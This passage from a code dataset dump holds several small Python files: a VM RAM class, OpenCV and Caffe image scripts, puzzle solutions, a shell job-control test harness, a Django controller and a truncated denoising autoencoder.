AddressArg1=16, AddressArg2=8):\r\n\r\n self.AddressSize1 = powr(2, AddressArg1)\r\n self.AddressSize2 = powr(2, AddressArg2)\r\n\r\n self.RAMValue = [['00' for x in range( self.AddressSize2 )] for x in range( self.AddressSize1 )]\r\n\r\n def CheckAddressVelidity(self, Address1, Address2):\r\n\r\n if self.AddressSize1 < Address1-1:\r\n return False\r\n elif self.AddressSize2 < Address2-1:\r\n return False\r\n else:\r\n return True\r\n\r\n def SetValueInteger(self, Address1, Address2, Value):\r\n\r\n HexValue = r.itoh(Value, 8)\r\n\r\n if not self.CheckAddressVelidity(Address1, Address2):\r\n return False\r\n\r\n self.RAMValue[Address1][Address2] = HexValue\r\n\r\n return True\r\n\r\n def GetValueInteger(self, Address1, Address2):\r\n\r\n if not self.CheckAddressVelidity(Address1, Address2):\r\n raise(ValueError)\r\n\r\n return self.RAMValue[Address1][Address2]\r\n\r\n def SetValueSectionInteger(self, Address1, Value):\r\n\r\n for DataLocation in range(len(Value)):\r\n\r\n if type(Value[DataLocation]) != int:\r\n raise(TypeError)\r\n\r\n if not self.CheckAddressVelidity(Address1, DataLocation):\r\n raise (ValueError)\r\n\r\n self.RAMValue[Address1][DataLocation] = r.itoh(Value[DataLocation], 8)\r\n\r\n return True\r\n\r\n def GetValueSectionHex(self, Address1):\r\n\r\n if not self.CheckAddressVelidity(Address1, 0):\r\n raise (ValueError)\r\n return self.RAMValue[Address1]\r\n\r\n def SetValueSectionHex(self, Address1, Value):\r\n\r\n for DataLocation in range(len(Value)):\r\n\r\n if len(Value[DataLocation]) != 2:\r\n raise (TypeError)\r\n\r\n if not self.CheckAddressVelidity(Address1, DataLocation):\r\n raise (ValueError)\r\n\r\n try:\r\n self.RAMValue[Address1][DataLocation] = Value[DataLocation]\r\n except:\r\n pass\r\n return True\r\n\r\n def SetValueHex(self, Address1, Address2, Value):\r\n\r\n if len(Value) != 2:\r\n raise (TypeError)\r\n\r\n if not self.CheckAddressVelidity(Address1, Address2):\r\n raise (ValueError)\r\n\r\n self.RAMValue[Address1][Address2] = Value\r\n\r\n def GetValueHex(self, Address1, Address2):\r\n\r\n if not self.CheckAddressVelidity(Address1, Address2):\r\n raise (ValueError)\r\n\r\n return self.RAMValue[Address1][Address2]","repo_name":"soupeater-of-boreal-valley/VM","sub_path":"VM/vmlib/Ram.py","file_name":"Ram.py","file_ext":"py","file_size_in_byte":2677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"71602872164","text":"import cv2\r\nimport numpy as np\r\nimport sys\r\nimport argparse\r\n\r\n# Edge detection limits\r\nmin = 250\r\nmax = 850\r\nwinW = 500\r\nwinH = 500\r\n\r\n\r\nap = argparse.ArgumentParser()\r\nap.add_argument(\"-f\", \"--first\", required=True,\r\n\thelp=\"first input image\")\r\nargs = vars(ap.parse_args())\r\n\r\nbase = cv2.imread(args[\"first\"])\r\n\r\nbaseSize = cv2.resize(base, (winW, winH))\r\nbaseGray = cv2.cvtColor(baseSize,cv2.COLOR_BGR2GRAY)\r\nbaseBlur = cv2.medianBlur(baseGray,5)\r\n\r\ncircles = cv2.HoughCircles(baseBlur,cv2.HOUGH_GRADIENT,1,20,\r\n param1=50,param2=30,minRadius=30,maxRadius=50)\r\n\r\ncircles = np.uint16(np.around(circles))\r\nfor i in circles[0,:]:\r\n\t# draw the outer circle\r\n\tcv2.circle(baseSize,(i[0],i[1]),i[2],(0,255,0),2)\r\n\tprint(\"{},{},{}\".format(i[0],i[1],i[2]))\r\n\t\r\n\r\n#Edge detection setup\r\n#baseCanny = cv2.Canny(baseGray,min,max)\r\n\r\n#Min Enclosing Circle Setup\r\n#ret, thresh = cv2.threshold(baseCanny, 127, 255, 0)\r\n\r\n# Find contours\r\n#thresh2, contours, hierarchy = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\r\n\r\n# Circling contours\r\n# for cnt in contours:\r\n\t# (x,y),radius = cv2.minEnclosingCircle(cnt)\r\n\t# if radius > 30:\r\n\t\t# center = (int(x),int(y))\r\n\t\t# radius = int(radius)\r\n\t\t# cv2.circle(baseSize,center,radius,(0,255,0),2)\r\n\t\t# print(\"R,X,Y = {},{},{}\".format(radius,x,y))\r\n\t\r\n#Showing images\r\n#cv2.imshow(\"canny\", baseCanny)\r\ncv2.imshow(\"Original\", baseSize)\r\n#cv2.imshow(\"Threshold\",thresh)\r\n\r\ncv2.waitKey()\r\n\r\n# while(1):\r\n\t# baseCanny = cv2.Canny(baseSize,min,max)\r\n\r\n\t# cv2.imshow(\"canny\", baseCanny)\r\n\t\r\n\t# k = cv2.waitKey(20)\r\n\t\r\n\t# if k%256 == 27:\r\n\t\t# sys.exit(0)\r\n\t\r\n\t# elif k%256 == 119: # 'w'\r\n\t\t# max += 5\r\n\t\t# print(\"Max: {}\".format(max))\r\n\t\t\r\n\t# elif k%256 == 115: # 's'\r\n\t\t# max -= 5\r\n\t\t# print(\"Max: {}\".format(max))\r\n\t\r\n\t# elif k%256 == 97: # 'a'\r\n\t\t# min -= 5\r\n\t\t# print(\"Min: {}\".format(min))\r\n\t\t\r\n\t# elif k%256 == 100: # 'd'\r\n\t\t# min += 5\r\n\t\t# print(\"Min: {}\".format(min))","repo_name":"CalebD2/Random-Deposit","sub_path":"Homework2.py","file_name":"Homework2.py","file_ext":"py","file_size_in_byte":1942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"29020996345","text":"\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import ListedColormap\nfrom matplotlib\timport cm\n\n\ndef view_colormap(cmap):\n \"\"\"Plot a colormap\"\"\"\n cmap = plt.cm.get_cmap(cmap)\n colors = cmap(np.arange(cmap.N))\n \n fig, ax = plt.subplots(1, figsize=(6, 2),\n subplot_kw=dict(xticks=[], yticks=[]))\n ax.imshow([colors], extent=[0, 10, 0, 1])\n plt.show()\n\n\ntop = cm.get_cmap('PiYG_r', 128)\nbottom = cm.get_cmap('Blues_r',128)\nnewcolors = np.vstack((bottom(np.linspace(0.5, 1, 128)),\n top(np.linspace(0.5, 0.75, 128))))\nnewcmp = ListedColormap(newcolors, name='trns')\n\n\n\nview_colormap(newcmp)\n\n\n\n\n","repo_name":"whitney-powers/trans_pride_cmap","sub_path":"Trans_Pride_cmap.py","file_name":"Trans_Pride_cmap.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"43653054886","text":"\"\"\"\n1006. 笨阶乘\nhttps://leetcode-cn.com/problems/clumsy-factorial/\n\"\"\"\n\ndef clumsy(N):\n res = float(\"inf\")\n stack = []\n for v in range(N, 0, -1):\n stack.append(v)\n if len(stack) == 4:\n if res == float(\"inf\"):\n res = int(stack[0] * stack[1] / stack[2] + stack[3])\n else:\n res -= int(stack[0] * stack[1] / stack[2] - stack[3])\n stack = []\n if N < 4:\n res = 0\n if len(stack) == 1:\n res -= stack[0]\n elif len(stack) == 2:\n res -= int(stack[0] * stack[1])\n elif len(stack) == 3:\n res -= int(stack[0] * stack[1] / stack[2])\n return res if N >= 4 else -res\n\ndef clumsyOther(N):\n op = 0 # * / + -\n stack = [N]\n for v in range(N-1, 0, -1):\n if op == 0:\n stack.append(stack.pop() * v)\n elif op == 1:\n stack.append(int(stack.pop() / float(v)))\n elif op == 2:\n stack.append(v)\n elif op == 3:\n stack.append(-v)\n op = (op+1) % 4\n return sum(stack)\n\n\n\nprint(clumsy(1)) # 1\nprint(clumsy(4)) # 7\nprint((clumsy(10))) # 12\nprint(clumsyOther(1)) # 1\nprint(clumsyOther(4)) # 7\nprint((clumsyOther(10))) # 12\n\n\nprint(\"282. 给表达式添加运算符\")\n\ndef addOperators(num, target):\n res = []\n def check(s):\n stack = []\n op = 1\n num = 0\n for v in s:\n if v not in \"+-*\":\n num = num * 10 + int(v)\n else:\n if op < 2:\n stack.append(num * op)\n else:\n stack.append(stack.pop() * num)\n if v == \"+\":\n op = 1\n elif v == \"-\":\n op = -1\n elif v == \"*\":\n op = 2\n num = 0\n if op < 2:\n stack.append(num * op)\n else:\n stack.append(stack.pop() * num)\n if sum(stack) == target:\n res.append(s)\n\n def backtrace(num_s, t):\n if not num_s:\n check(t + num_s)\n return\n if num_s[0] == \"0\":\n if len(num_s) == 1:\n backtrace(num_s[1:], t + num_s[0])\n backtrace(num_s[1:], t + num_s[0])\n backtrace(num_s[1:], t + num_s[0])\n else:\n backtrace(num_s[1:], t + num_s[0] + \"+\")\n backtrace(num_s[1:], t + num_s[0] + \"-\")\n backtrace(num_s[1:], t + num_s[0] + \"*\")\n else:\n n = len(num_s)\n for i in range(1, n+1):\n tmp = num_s[:i]\n other = num_s[i:]\n if i == n:\n backtrace(other, t + tmp)\n else:\n backtrace(other, t + tmp + \"+\")\n backtrace(other, t + tmp + \"-\")\n backtrace(other, t + tmp + \"*\")\n backtrace(num, \"\")\n return res\n\nprint(addOperators(\"123\", 6))\nprint(addOperators(\"3456237490\", 9191))\nprint(addOperators(\"105\", 5)) # [\"1*0+5\",\"10-5\"]","repo_name":"mengshun/Leetcode","sub_path":"problems/1006.py","file_name":"1006.py","file_ext":"py","file_size_in_byte":3041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"14404329811","text":"import heapq as hq\n\n\ndef solution(jobs):\n answer, now, i = 0, 0, 0\n start = -1\n arr = []\n # for row in jobs:\n # hq.heappush(arr, [row[0], row[1]])\n\n while i < len(jobs):\n for row in jobs:\n if start < row[0] <= now:\n hq.heappush(arr, [row[1], row[0]])\n if len(arr) > 0:\n current = hq.heappop(arr)\n start = now\n now += current[0]\n answer += (now - current[1])\n i += 1\n else:\n now += 1\n return int(answer / len(jobs))\n\n\nprint(solution([[0, 3], [1, 9], [2, 6]]))\n\n","repo_name":"Ohjinn/algo-py","sub_path":"programmers/heap/디스크_컨트롤러.py","file_name":"디스크_컨트롤러.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"654709633","text":"from itertools import permutations\nfrom collections import deque\n\nhapiness = dict()\npeople = set()\n\ndef evaluate(seating):\n\ta = deque(seating)\n\ta.rotate(1)\n\tsum=0\n\tfor x in zip(seating, list(a)):\n\t\tsum += hapiness[x]\n\t\tsum += hapiness[tuple(reversed(x))]\n\treturn sum\n\ndef addMe():\n\tfor x in people:\n\t\thapiness[(x, \"Me\")] = 0\n\t\thapiness[(\"Me\", x)] = 0\n\tpeople.add(\"Me\")\n\nwith open(\"input.txt\") as f:\n\tfor line in f.read().splitlines():\n\t\tline = line.split()\n\t\tperson1, direction, amount, person2 = line[0], line[2], int(line[3]), line[10][:-1]\n\t\tpeople.add(person1)\n\t\tif direction == \"lose\":\n\t\t\thapiness[(person1, person2)] = -amount\n\t\telif direction == \"gain\":\n\t\t\thapiness[(person1, person2)] = amount\naddMe()\nresult = 0\npeople = list(people)\nfor p in permutations(people[1:]):\n\tresult = max(evaluate([people[0]] + list(p)), result)\nprint(result)","repo_name":"nvojkovic/Advent-of-Code-2016","sub_path":"13/13b.py","file_name":"13b.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"13236557862","text":"#!/usr/bin/env python3\n\"\"\"\nspec/stateful/job_control.py\n\"\"\"\nfrom __future__ import print_function\n\nimport signal\nimport sys\nimport time\n\nimport harness\nfrom harness import register, stop_process__hack, expect_prompt\nfrom test.spec_lib import log\n\n\n# Hint from Stevens book\n#\n# http://lkml.iu.edu/hypermail/linux/kernel/1006.2/02460.html\n# \"TIOCSIG Generate a signal to processes in the\n# current process group of the pty.\"\n\n# Generated from C header file\nTIOCSIG = 0x40045436\n\n\ndef ctrl_c(sh):\n sh.sendcontrol('c')\n #fcntl.ioctl(sh.child_fd, TIOCSIG, signal.SIGINT)\n\n\ndef ctrl_z(sh):\n sh.sendcontrol('z')\n #fcntl.ioctl(sh.child_fd, TIOCSIG, signal.SIGTSTP)\n\n\ndef expect_no_job(sh):\n \"\"\"Helper function.\"\"\"\n if sh.shell_label == 'osh':\n sh.expect('No job to put in the foreground')\n elif sh.shell_label == 'dash':\n sh.expect('.*fg: No current job')\n elif sh.shell_label == 'bash':\n sh.expect('.*fg: current: no such job.*')\n else:\n raise AssertionError()\n\n\n@register()\ndef bug_1004(sh):\n 'fg twice should not result in fatal error (issue 1004)'\n\n expect_prompt(sh)\n sh.sendline('cat')\n\n time.sleep(0.1)\n\n debug = False\n #debug = True\n\n if debug:\n import os\n #os.system('ls -l /proc/%s/fd' % os.getpid())\n\n # From test/group-session.sh\n log('harness PID = %d', os.getpid())\n import subprocess\n #os.system('ps -o pid,ppid,pgid,sid,tpgid,comm')\n\n # the child shell is NOT LISTED here because it's associated WITH A\n # DIFFERENT TERMINAL.\n subprocess.call(['ps', '-o', 'pid,ppid,pgid,sid,tpgid,comm'])\n\n if debug:\n ctrl_z(sh)\n else:\n stop_process__hack('cat')\n\n sh.expect('.*Stopped.*')\n\n #sh.expect(\"\\r\\n\\\\[PID \\\\d+\\\\] Stopped\")\n\n sh.sendline('') # needed for dash\n expect_prompt(sh)\n\n sh.sendline('fg')\n if sh.shell_label == 'osh':\n sh.expect(r'Continue PID \\d+')\n else:\n sh.expect('cat')\n\n # Ctrl-C to terminal\n ctrl_c(sh)\n expect_prompt(sh)\n\n sh.sendline('fg')\n\n expect_no_job(sh)\n\n\n@register()\ndef bug_721(sh):\n 'Call fg twice after process exits (issue 721)'\n\n # This test seems flaky under bash for some reason\n\n expect_prompt(sh)\n sh.sendline('cat')\n\n time.sleep(0.1)\n\n ctrl_c(sh)\n expect_prompt(sh)\n\n sh.sendline('fg')\n expect_no_job(sh)\n\n #sh.sendline('')\n #expect_prompt(sh)\n\n sh.sendline('fg')\n expect_no_job(sh)\n\n sh.sendline('')\n expect_prompt(sh)\n\n\n@register()\ndef bug_1005(sh):\n 'sleep 10 then Ctrl-Z then wait should not hang (issue 1005)'\n\n expect_prompt(sh)\n\n sh.sendline('sleep 10')\n\n time.sleep(0.1)\n if 1: # TODO: remove hack for OSH\n stop_process__hack('sleep')\n else:\n ctrl_z(sh)\n\n sh.expect(r'.*Stopped.*')\n\n sh.sendline('wait')\n sh.sendline('echo status=$?')\n sh.expect('status=0')\n\n\n@register(skip_shells=['dash'])\ndef bug_1005_wait_n(sh):\n 'sleep 10 then Ctrl-Z then wait -n should not hang'\n\n expect_prompt(sh)\n\n sh.sendline('sleep 10')\n\n time.sleep(0.1)\n if 1: # TODO: remove hack for OSH\n stop_process__hack('sleep')\n else:\n ctrl_z(sh)\n\n sh.expect(r'.*Stopped.*')\n\n sh.sendline('wait -n')\n sh.sendline('echo status=$?')\n sh.expect('status=127')\n\n\n@register()\ndef stopped_process(sh):\n 'Resuming a stopped process'\n expect_prompt(sh)\n\n sh.sendline('cat')\n\n time.sleep(0.1) # seems necessary\n\n if 0:\n ctrl_z(sh)\n else:\n stop_process__hack('cat')\n\n sh.expect('.*Stopped.*')\n\n sh.sendline('') # needed for dash for some reason\n expect_prompt(sh)\n\n sh.sendline('fg')\n\n if sh.shell_label == 'osh':\n sh.expect(r'Continue PID \\d+')\n else:\n sh.expect('cat')\n\n ctrl_c(sh)\n expect_prompt(sh)\n\n sh.sendline('fg')\n expect_no_job(sh)\n\n\n@register()\ndef stopped_pipeline(sh):\n 'Resuming a stopped pipeline (issue 1087)'\n expect_prompt(sh)\n\n sh.sendline('sleep 10 | cat | cat')\n\n time.sleep(0.1) # seems necessary\n\n ctrl_z(sh)\n # stop_process__hack doesn't work here\n\n sh.expect('.*Stopped.*')\n\n sh.sendline('') # needed for dash for some reason\n expect_prompt(sh)\n\n sh.sendline('fg')\n\n if sh.shell_label == 'osh':\n sh.expect(r'Continue PID \\d+')\n else:\n sh.expect('cat')\n\n ctrl_c(sh)\n expect_prompt(sh)\n\n sh.sendline('fg')\n expect_no_job(sh)\n\n\nif __name__ == '__main__':\n try:\n sys.exit(harness.main(sys.argv))\n except RuntimeError as e:\n print('FATAL: %s' % e, file=sys.stderr)\n sys.exit(1)\n","repo_name":"orgTestCodacy11KRepos110MB/repo-3432-oil","sub_path":"spec/stateful/job_control.py","file_name":"job_control.py","file_ext":"py","file_size_in_byte":4298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"12383475558","text":"from block_functions.enums import Attributes, SKILLS, SAVES, AbilityScores, RACES, BONUSES\n\n\nclass Creature:\n def __init__(self):\n self.name = \"name\"\n self.CR = \"CR\"\n self.XP = \"XP\"\n self.race = RACES.EMPTY.value # assign empty race class to creature\n self.classes = []\n self.levels = []\n self.alignment = \"alignment\"\n self.size = self.race.size # set size based on race\n self.race_type = self.race.race_type # set race_type based on race\n self.race_subtype = self.race.race_subtype # set race_subtype based on race\n self.initiative = Attributes.INIT.value # create initiative attribute by enum\n self.senses = self.race.senses # set senses based on race\n self.skills = SKILLS.create_skills() # create empty skills for creature\n self.armor_class = Attributes.AC.value\n self.hit_points = Attributes.HP.value\n self.fort_save = SAVES.FORT.value\n self.ref_save = SAVES.REF.value\n self.will_save = SAVES.WILL.value\n self.defensive_abilities = []\n self.speed = Attributes.SPD.value\n self.melee_attacks = []\n self.ranged_attacks = []\n self.special_attacks = []\n self.ability_scores = AbilityScores.get_ability_scores()\n self.base_attack_bonus = BONUSES.BAB.value\n self.combat_maneuver_bonus = Attributes.CMB.value\n self.combat_maneuver_defense = Attributes.CMD.value\n self.feats = []\n self.languages = []\n self.gear_combat = []\n self.gear_other = []\n self.stat_block = None\n self.bonuses = []\n\n def assign_race(self, race_name=RACES.GNOME):\n self.race = race_name\n self.race_type = race_name.race_type\n self.race_subtype = race_name.race_subtype\n self.size = race_name.size\n self.speed.base = race_name.speed_base\n self.senses.append(race_name.senses)\n RACES.assign_racial_traits(self)\n\n _subtype_dict = {\n \"knowledge\": SKILLS.Knowledges[split_skill[\"subtype\"]],\n \"profession\": SKILLS.Professions[split_skill[\"subtype\"]],\n \"craft\": SKILLS.Crafts[split_skill[\"subtype\"]],\n }\n\n def get_skills_from_block(self):\n block_list = self.stat_block[\"skills\"]\n for skill in block_list:\n split_skill = SKILLS.parse_block_skill(skill)\n skill_key = self._subtype_dict.get(split_skill[\"subtype\"], SKILLS[split_skill[\"name\"]])\n self.skills[skill_key].total = skill_key.total\n self.skills[skill_key].extras = skill_key.extras\n\n\ndef create_from_block(block):\n creature = Creature(stat_block=block)\n return creature\n\n\"\"\"\nget race by name from database\nassign race to character\nset character size to race size\nadd auto languages to character languages\nadd language choices from race to available languages\nfor every trait in racial traits\nadd trait bonus to appropriate category\n\nfor every class in statblock\nget class info from database\nfor every level of current class\n add skill points per level to total\n add hit die to total\n add level progression\nset base attack bonus based on class & total levels\nset saves as above\nadd class skills to character's skills\n\nfor every item in gear\nget item info from database\nmultiply weight by quantity and add to encumberance\napply any bonus from item to character\n\"\"\"\n","repo_name":"Shpaackle/statblockreader","sub_path":"block_functions/creature.py","file_name":"creature.py","file_ext":"py","file_size_in_byte":3382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"10734543220","text":"# Image Classification using GoogLeNet arquitecture trained on ImageNet dataset\n\nimport numpy as np\nimport sys\nimport cv2\n\nPROTOTXT = \"./caffe/bvlc_googlenet.prototxt\"\nMODEL = \"./caffe/bvlc_googlenet.caffemodel\"\n\nfrom imagenet_labels import LABEL_MAP\nSIZE = 224\n\n\ndef run_caffe(net, image, input_size):\n (h, w) = image.shape[:2]\n blob = cv2.dnn.blobFromImage(cv2.resize(image, (input_size, input_size)), 1,\n (input_size, input_size), (104, 177, 123))\n\n net.setInput(blob)\n out = net.forward()\n return out\n\n\n\ndef run(img):\n net = cv2.dnn.readNetFromCaffe(PROTOTXT, MODEL)\n preds = run_caffe(net, img, SIZE)\n\n idxs = np.argsort(preds[0])[::-1][:5]\n\n for i, idx in enumerate(idxs):\n print(\"{}. {}: {:.2}\".format(i + 1, LABEL_MAP[idx], preds[0][idx]))\n\n\nif __name__ == \"__main__\":\n image = cv2.imread(sys.argv[1])\n run(image)\n cv2.imshow(\"Image\", image)\n cv2.waitKey(0)\n","repo_name":"iitzco/OpenCV-dnn-samples","sub_path":"main_caffe.py","file_name":"main_caffe.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"52"} +{"seq_id":"13741255750","text":"from image_editing import make_dict\n\n\n# Function for formatting the images to be sent top and from the client and server.\ndef send_images(characters, path=\"Images\"):\n data = b\"[delimiter]start[delimiter]\"\n for character in characters:\n if character:\n image_dict = make_dict(character, path=path)\n for value in image_dict.values():\n for pathname in value:\n pathname = pathname.replace(\"Images\", path)\n with open(pathname, \"rb\") as image:\n data += pathname.encode(\"utf-8\") + b'[delimiter]' + image.read() + b'[delimiter]'\n data += b'[delimiter]end[delimiter]'\n return data\n","repo_name":"TheG-VAN/Lucky-Dodgers","sub_path":"online_images.py","file_name":"online_images.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"41879731748","text":"# https://atcoder.jp/contests/agc018/tasks/agc018_a\nN,K=list(map(int, input().split()))\nA=list(map(int, input().split()))\nmax_a = max(A)\nif max_a < K:\n print(\"IMPOSSIBLE\")\n exit()\ndef gcd(n,m):\n if n 0: \n _departamento = list(departamento.objects.filter(id=_id,estado=1).values())\n if len(_departamento) > 0:\n datos = { 'message': 'success', 'quantity': len(_departamento), 'data': _departamento[0] }\n else:\n _departamento = list(departamento.objects.filter(estado=1).values())\n if len(_departamento) > 0:\n datos = { \n 'message': 'success',\n 'quantity': len(_departamento),\n 'data': _departamento \n }\n return JsonResponse(datos)\n \n def post(self, request):\n # RESPUESTA POR DEFECTO\n datos = { 'message': 'fail', 'quantity': 0, 'data': [] }\n # LEEMOS LOS DATOS ENVIADOS POR EL USUARIO\n jd = json.loads(request.body)\n _nombre=jd['nombre']\n _abreviatura=jd['abreviatura']\n print(_nombre == '')\n if _nombre == '' or _abreviatura == '':\n datos = { 'message': 'existen campos vacios', 'quantity': 0, 'data': [] }\n return JsonResponse(datos)\n departamento.objects.create(nombre=_nombre,abreviatura=_abreviatura)\n datos = {\n 'message': 'success',\n 'data': {\n 'nombre' : _nombre,\n 'abreviatura': _abreviatura\n }\n }\n return JsonResponse(datos)\n \n def put(self, request, _id=0):\n datos = { 'message': 'fail', 'quantity': 0, 'data': [] }\n _departamento = object()\n if _id>0:\n _departamento=list(departamento.objects.filter(id=_id,estado=1).values())\n if len(_departamento)>0:\n __departamento = departamento.objects.get(id=_id)\n _departamentoj = json.loads(request.body)\n __departamento.nombre = _departamentoj['nombre']\n __departamento.abreviatura = _departamentoj['abreviatura']\n __departamento.save()\n datos = {\n 'message': 'success',\n 'quantity': 1,\n 'data': {\n 'id': _id,\n 'nombre': _departamentoj['nombre'],\n 'abreviatura': _departamentoj['abreviatura']\n }\n }\n return JsonResponse(datos)\n \n def delete(self, request, _id=0):\n datos = { 'message': 'fail', 'quantity': 0, 'data': [] }\n \n if _id>0: \n _departamento=list(departamento.objects.filter(id=_id).values())\n if len(_departamento)>0:\n __departamento = departamento.objects.get(id=_id)\n _departamentoj = json.loads(request.body)\n __departamento.estado = _departamentoj['estado']\n __departamento.save()\n datos = {\n 'message': 'success',\n 'quantity': 1,\n 'data': {\n 'id': _id,\n 'estado': _departamentoj['estado']\n }\n }\n return JsonResponse(datos)","repo_name":"Yarol-Abraham/gastroGuate_backend","sub_path":"api/controllers/controllerDepartamento.py","file_name":"controllerDepartamento.py","file_ext":"py","file_size_in_byte":3705,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"2895242912","text":"\n# coding: utf-8\n\n# In[3]:\n\nimport cv2 # working with, mainly resizing, images\nimport numpy as np # dealing with arrays\nimport os # dealing with directories\nfrom sklearn.utils import shuffle # mixing up or currently ordered data that might lead our network astray in training.\nfrom tqdm import tqdm # a nice pretty percentage bar for tasks. Thanks to viewer Daniel BA1/4hler for this suggestion\nfrom sklearn.cross_validation import train_test_split #Splitting the data into Train and Test\nfrom PIL import Image # Converting the ImageNumpyArrayy into Image object\n\nimport matplotlib.pyplot as plt #Ploting pictures and Chart\n\nfrom keras import backend as K\nK.set_image_dim_ordering('th')\n\nfrom keras import callbacks\nfrom keras.utils import np_utils\nfrom keras.models import Model \nfrom keras.layers import Dense, Flatten, Input, Conv2D, Conv2DTranspose, UpSampling2D, MaxPooling2D\n\nTRAIN_DIR = 'C:/Users/PagolPoka/Desktop/Deep_Learning_Project/dataset/training_set'\nNOISY_TRAIN_DIR = 'C:/Users/PagolPoka/Desktop/test_set/Noise'\nTEST_DIR = 'C:/Users/PagolPoka/Desktop/Deep_Learning_Project/dataset/test_set'\nIMG_SIZE = 128\nLR = 1e-3\nnum_channel=3\nnum_epoch=100\n\n\n# In[4]:\n\n#Fetches all the training pictures from the directory\ndef create_train_data():\n training_data_list = []\n labels_list = []\n \n for folder in tqdm(os.listdir(TRAIN_DIR)):\n if folder != '.DS_Store':\n Train_Path = TRAIN_DIR + '/' + folder\n #print(Train_Path)\n \n for img in tqdm(os.listdir(Train_Path)):\n labels_list.append(img) \n path = os.path.join(Train_Path,img)\n img = cv2.imread(path,cv2.IMREAD_COLOR) #Reading the Image in color\n img = cv2.resize(img, (IMG_SIZE,IMG_SIZE)) #Resizing the Image \n training_data_list.append(img)\n \n #Preprocesing the Data for fitting it into the DL Model\n training_data_raw = training_data_list\n training_data = np.array(training_data_list) \n training_data = training_data.astype('float32') \n training_data /= 255\n print ('Shape: ',training_data.shape)\n \n return training_data, labels_list, training_data_raw\n\n#Fetches all the Noisy training pictures from the directory [Same as Above]\ndef create_noisy_train_data():\n noisy_training_data_list = []\n noise_labels_list = []\n \n for folder in tqdm(os.listdir(NOISY_TRAIN_DIR)):\n if folder != '.DS_Store':\n Train_Path = NOISY_TRAIN_DIR + '/' + folder\n #print(Train_Path)\n \n for img in tqdm(os.listdir(Train_Path)):\n noise_labels_list.append(img) \n path = os.path.join(Train_Path,img)\n img = cv2.imread(path,cv2.IMREAD_COLOR)\n img = cv2.resize(img, (IMG_SIZE,IMG_SIZE))\n noisy_training_data_list.append(img)\n \n \n\n training_data_raw = noisy_training_data_list\n noisy_training_data = np.array(noisy_training_data_list) \n noisy_training_data = noisy_training_data.astype('float32') \n noisy_training_data /= 255\n print ('Shape noise: ',noisy_training_data.shape)\n \n return noisy_training_data, noise_labels_list, training_data_raw\n\n#Fetches all the Noisy test pictures to be converted into clean from the directory [Same as Above]\ndef create_noisy_test_data():\n noisy_test_data_list = []\n noise_test_labels_list = []\n \n for folder in tqdm(os.listdir(TEST_DIR)):\n if folder != '.DS_Store':\n Train_Path = TEST_DIR + '/' + folder\n #print(Train_Path)\n \n for img in tqdm(os.listdir(Train_Path)):\n noise_test_labels_list.append(img) \n path = os.path.join(Train_Path,img)\n img = cv2.imread(path,cv2.cv2.IMREAD_COLOR)\n img = cv2.resize(img, (IMG_SIZE,IMG_SIZE))\n noisy_test_data_list.append(img)\n \n \n training_data_raw = noisy_test_data_list\n noisy_test_data = np.array(noisy_test_data_list) \n noisy_test_data = noisy_test_data.astype('float32') \n noisy_test_data /= 255\n print ('Shape noise: ',noisy_test_data.shape)\n \n return noisy_test_data, noise_test_labels_list, training_data_raw\n \n\n\n# In[5]:\n\n#Creating the clean training data and splitting it into train and test\nTrain_Data, Lables, Train_imgs = create_train_data()\nprint (\"Shape of X_train_clean before reshaping: \",Train_Data.shape)\n\n#Reshaping the data to the input format for the DL model based on the number of channels.\n#num_channel==1 [BLACK AND WHITE]\n#num_channel==3 [COLOR]\nif num_channel==1:\n if K.image_dim_ordering()=='th':\n Train_Data= np.expand_dims(Train_Data, axis=1)\n #print (Train_Data.shape)\n else:\n Train_Data= np.expand_dims(Train_Data, axis=4) \n #print (Train_Data.shape) \nelse:\n if K.image_dim_ordering()=='th':\n Train_Data=np.rollaxis(Train_Data,3,1)\n #print (Train_Data.shape)\n \n\nX_train, X_test, y_train, y_test = train_test_split(Train_Data, Lables, test_size=0.2, random_state=2)\n\nprint(\"Shape of X_train_Clean after reshaping and splitting: \",X_train.shape)\nprint(\"Shape of X_test_Clean after reshaping and splitting: \",X_test.shape)\n\n# Defining the Input_Shape for the model\ninput_shape=Train_Data[0].shape\n\n\n# In[6]:\n\n#Visualising some of the clean training clean Images\nprint(\"Total number of images: \",len(Train_imgs))\nprint(\"Matrix representation of 67th image: \",Train_imgs[67])\n\n\n#Displaying 149th to 155th image from the training clean data\nfor i in range (149,155):\n plt.figure()\n plt.imshow(Train_imgs[i], cmap=plt.cm.binary)\n lable = Lables[i]\n plt.xlabel(lable)\n \n plt.show() \n print(\"The train label is: \",Lables[i])\n\n\n# In[22]:\n\n#Creating the noisy training data and splitting it into train and test\nNoisy_Train_Data, Noisy_Lables, Noisy_Train_imgs = create_noisy_train_data()\nprint (\"Shape of X_train_Noisy before reshaping: \",Noisy_Train_Data.shape)\n\n#Reshaping the Data to fit into the Autoencoder model.\nif num_channel==1:\n if K.image_dim_ordering()=='th':\n Noisy_Train_Data= np.expand_dims(Noisy_Train_Data, axis=1)\n #print (Noisy_Train_Data.shape)\n else:\n Noisy_Train_Data= np.expand_dims(Noisy_Train_Data, axis=4) \n #print (Noisy_Train_Data.shape) \nelse:\n if 